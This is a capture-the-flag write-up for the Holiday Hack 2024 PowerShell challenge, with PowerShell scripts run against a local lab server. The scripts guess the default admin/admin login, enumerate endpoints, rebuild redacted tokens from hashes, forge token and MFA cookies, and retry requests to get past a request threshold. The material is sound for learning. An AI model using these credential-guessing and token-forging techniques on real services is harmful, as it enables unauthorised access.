Holiday Hack 2024 – Powershell

Crossing over to Wombley’s side we can find Piney Sappington. He needs our powershell skills to access a password to their snowball weaponry.

Silver

Clicking on the terminal gives us a shell very similar to the curl challenge from last act. As we did in that challenge, we will run through each question and answer below

  1. There is a file in the current directory called ‘welcome.txt’. Read the contents of this file
    • type ./welcome.txt
  2. Geez that sounds ominous, I’m sure we can get past the defense mechanisms. We should warm up our PowerShell skills. How many words are there in the file?
    • Get-Content -Path "./welcome.txt" | Measure-Object -Word
  3. There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?
    • netstat -lnp
  4. You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?
    • Invoke-WebRequest http://127.0.0.1:1225
  5. It looks like defensive measures are in place, it is protected by basic authentication. Try authenticating with a standard admin username and password.
    • $cred = Get-Credential
      • username: admin
      • password: admin
    • Invoke-WebRequest http://127.0.0.1:1225 -Auth Basic -AllowUnencryptedAuthentication -Credential $cred
  6. There are too many endpoints here. Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal.
$BaseUrl = "http://127.0.0.1:1225/endpoints/"
$PageNumber = 1
$FoundPage = $null
$MaxPages = 100

# Prompt for credentials
$Credential = Get-Credential

while (-not $FoundPage -and $PageNumber -le $MaxPages) {
    $Url = "$BaseUrl$PageNumber"
    try {
        $Content = Invoke-WebRequest -Uri $Url -UseBasicParsing -Credential $Credential -AllowUnencryptedAuthentication
        if (($Content.Content -split '\s+').Count -eq 138) {
            Write-Output "Page $PageNumber has 138 words."
            $FoundPage = $PageNumber
        }
    } catch {
        Write-Warning "Failed to fetch $Url. Skipping."
    }
    $PageNumber++
}

if (-not $FoundPage) {
    Write-Output "No page with exactly 138 words was found in the range 1 to $MaxPages."
}
  • Invoke-WebRequest http://127.0.0.1:1225/endpoints/13 -Auth Basic -AllowUnencryptedAuthentication -Credential $cred | select -ExpandProperty Content
  1. There seems to be a csv file in the comments of that page.That could be valuable, read the contents of that csv-file!
    • Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Auth Basic -AllowUnencryptedAuthentication -Credential $cred | select -ExpandProperty Content
  2. Luckily the defense mechanisms were faulty! There seems to be one api-endpoint that still isn’t redacted! Communicate with that endpoint!
    • Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Auth Basic -AllowUnencryptedAuthentication -Credential $cred | select -ExpandProperty Content
  3. It looks like it requires a cookie token, set the cookie and try again.
# Define the URL
$Url = "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"

# Define the token value for the cookie
$TokenValue = "5f8dd236f862f4507835b0e418907ffc"  # Replace with your actual token value

# Prompt for credentials
$Credential = Get-Credential

# Create a WebRequestSession to include the cookie named "token"
$Session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$Session.Cookies.Add((New-Object System.Net.Cookie("token", $TokenValue, "/", "127.0.0.1")))

# Make the request with authentication
try {
    $Response = Invoke-WebRequest -Uri $Url -WebSession $Session -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing
    Write-Output "Response Status Code: $($Response.StatusCode)"
    Write-Output "Response Content:"
    Write-Output $Response.Content
} catch {
    Write-Warning "Failed to make the request: $_"
}
  1. Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint!
# Define the initial URL
$InitialUrl = "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"

# Define the token value for the initial cookie
$TokenValue = "5f8dd236f862f4507835b0e418907ffc"  # Replace with your actual token value

# Prompt for credentials
$Credential = Get-Credential

# Create a WebRequestSession to include the initial cookie named "token"
$Session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$Session.Cookies.Add((New-Object System.Net.Cookie("token", $TokenValue, "/", "127.0.0.1")))

# Step 1: Make the initial request and extract the value from href
try {
    $Response = Invoke-WebRequest -Uri $InitialUrl -WebSession $Session -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing
    Write-Output "Response Status Code: $($Response.StatusCode)"
    
    # Extract the entire number after href enclosed in single quotes
    if ($Response.Content -match "href='(\d+\.\d+)'") {
        $HrefValue = $Matches[1]
        Write-Output "Extracted value after href: $HrefValue"
        
        # Add the extracted value as a new cookie named "mfa_token"
        $Session.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $HrefValue, "/", "127.0.0.1")))
    } else {
        Write-Warning "Could not find href pattern in response content."
        exit
    }
} catch {
    Write-Warning "Failed to make the initial request: $_"
    exit
}

# Step 2: Send a request to the MFA validation endpoint with the new cookie
$MfaEndpoint = "http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"

try {
    $MfaResponse = Invoke-WebRequest -Uri $MfaEndpoint -WebSession $Session -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing
    Write-Output "MFA Response Status Code: $($MfaResponse.StatusCode)"
    Write-Output "MFA Response Content:"
    Write-Output $MfaResponse.Content
} catch {
    Write-Warning "Failed to make the MFA validation request: $_"
}
  1. That looks like base64! Decode it so we can get the final secret!
    • $EncodedText = "Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="
    • [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedText))

Entering in all the above values will unlock the silver medal

Gold Medal

Once we complete the silver medal talking to the elf again will set us down the path for gold. As we saw with the other terminal based challenges there’s a way to skip all the questions. In this case we’ll need to find the value of all the redacted tokens and successfully query those endpoints.

Starting with decrypting the endpoints, we can use the unredacted endpoint as well as the headers to piece together that the redacted values are SHA2-256 hashes of the MD5 values to their right. We can also interpret from the hint about Get-FileHash and the column being named with file in the CSV that we’ll need to have our script emulate reading from a file to get the correct hash. This can be done with the below script

# Define the CSV URL and basic authentication credentials
$csvUrl = "http://127.0.0.1:1225/token_overview.csv"
$Username = "admin"
$Password = "admin"
$Credential = New-Object System.Management.Automation.PSCredential($Username, (ConvertTo-SecureString $Password -AsPlainText -Force))

# Fetch the CSV content with authentication
$csvContent = Invoke-WebRequest -Uri $csvUrl -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing | Select-Object -ExpandProperty Content

# Convert the CSV content to objects, excluding rows with hashes starting with '#'
$csvData = $csvContent | ConvertFrom-Csv | Where-Object { $_.'file_MD5hash' -notlike '#*' }

# Define the initial URL template for the token
$InitialUrl = "http://127.0.0.1:1225/tokens/{sha256_hash}"


# Loop through each valid row
foreach ($row in $csvData) {
    $md5Hash = $row.'file_MD5hash'

    # Save the MD5 hash to a temporary file to use Get-FileHash
    $tempFile = [System.IO.Path]::GetTempFileName()
    Set-Content -Path $tempFile -Value $md5Hash

    # Use Get-FileHash to compute the SHA256 hash of the MD5 hash text
    $sha256Hash = Get-FileHash -Path $tempFile -Algorithm SHA256

    # Output the MD5 and computed SHA256 hash
    Write-Output "MD5 Hash: $md5Hash"
    Write-Output "Computed SHA256 Hash: $($sha256Hash.Hash)"
    Write-Output "-----------------------------"
}

Now that we have a list of hashes, we can combine it with our solution from Silver question 10 to grab and pass the MFA token but with a slight change. As the second hint pointed out there is a fakeout header present that is blocking us. Querying the inital endpoints we can see that the threshold is being set to 10. There should be a way to simply discover the header that’s being used, forge the value higher than the threshold, and have our connections allowed but with it only being 10 I chose to just loop the attempts 20 times to force my way in. The full script can be seen below and running it granted the gold medal.

# Define the CSV URL and basic authentication credentials
$csvUrl = "http://127.0.0.1:1225/token_overview.csv"
$Username = "admin"
$Password = "admin"
$Credential = New-Object System.Management.Automation.PSCredential($Username, (ConvertTo-SecureString $Password -AsPlainText -Force))

# Fetch the CSV content with authentication
$csvContent = Invoke-WebRequest -Uri $csvUrl -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing | Select-Object -ExpandProperty Content

# Convert the CSV content to objects, excluding rows with hashes starting with '#'
$csvData = $csvContent | ConvertFrom-Csv | Where-Object { $_.'file_MD5hash' -notlike '#*' }

# Define the initial URL template for the token
$InitialUrl = "http://127.0.0.1:1225/tokens/{sha256_hash}"

# Define the base URL for MFA validation
$MfaEndpoint = "http://127.0.0.1:1225/mfa_validate/{sha256_hash}"

# Loop through each valid row
foreach ($row in $csvData) {
    $md5Hash = $row.'file_MD5hash'

    # Save the MD5 hash to a temporary file to use Get-FileHash
    $tempFile = [System.IO.Path]::GetTempFileName()
    Set-Content -Path $tempFile -Value $md5Hash

    # Use Get-FileHash to compute the SHA256 hash of the MD5 hash text
    $sha256Hash = Get-FileHash -Path $tempFile -Algorithm SHA256

    # Output the MD5 and computed SHA256 hash
    Write-Output "MD5 Hash: $md5Hash"
    Write-Output "Computed SHA256 Hash: $($sha256Hash.Hash)"
    Write-Output "-----------------------------"

    # Clean up the temporary file
    Remove-Item -Path $tempFile

    # Create the WebRequestSession and add the MD5 hash as a cookie named "token"
    $Session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
    $Session.Cookies.Add((New-Object System.Net.Cookie("token", $md5Hash, "/", "127.0.0.1")))

    # Step 1: Request the token overview URL using the computed SHA256 hash
    $FormattedUrl = $InitialUrl.Replace("{sha256_hash}", $sha256Hash.Hash)
    try {
        $Response = Invoke-WebRequest -Uri $FormattedUrl -WebSession $Session -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing
        Write-Output "Token Overview Response Status Code: $($Response.StatusCode)"
        Write-Output "Token Overview Response Body:"
        Write-Output $Response.Content

        # Step 2: Extract the mfa_token from the response and add it as a new cookie
        if ($Response.Content -match "href='(\d+\.\d+)'") {
            $HrefValue = $Matches[1]
            Write-Output "Extracted mfa_token value: $HrefValue"
            $Session.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $HrefValue, "/", "127.0.0.1")))
        } else {
            Write-Warning "Could not find href pattern in response content."
            exit
        }
    } catch {
        Write-Warning "Failed to request token overview for hash $($sha256Hash.Hash): $_"
        continue
    }

    # Step 3: MFA validation (if needed)
    try {
        # Use the same computed hash for the MFA validation endpoint
        $MfaUrl = $MfaEndpoint.Replace("{sha256_hash}", $sha256Hash.Hash)

        # Sending request for MFA validation
        $MfaResponse = Invoke-WebRequest -Uri $MfaUrl -WebSession $Session -Credential $Credential -AllowUnencryptedAuthentication -UseBasicParsing

        # Output the MFA response status and body
        Write-Output "MFA Response Status Code: $($MfaResponse.StatusCode)"
        Write-Output "MFA Response Body:"
        Write-Output $MfaResponse.Content

    } catch {
        Write-Warning "Failed to request MFA validation for hash $($sha256Hash.Hash): $_"
    }
}

Leave a Reply

Your email address will not be published. Required fields are marked *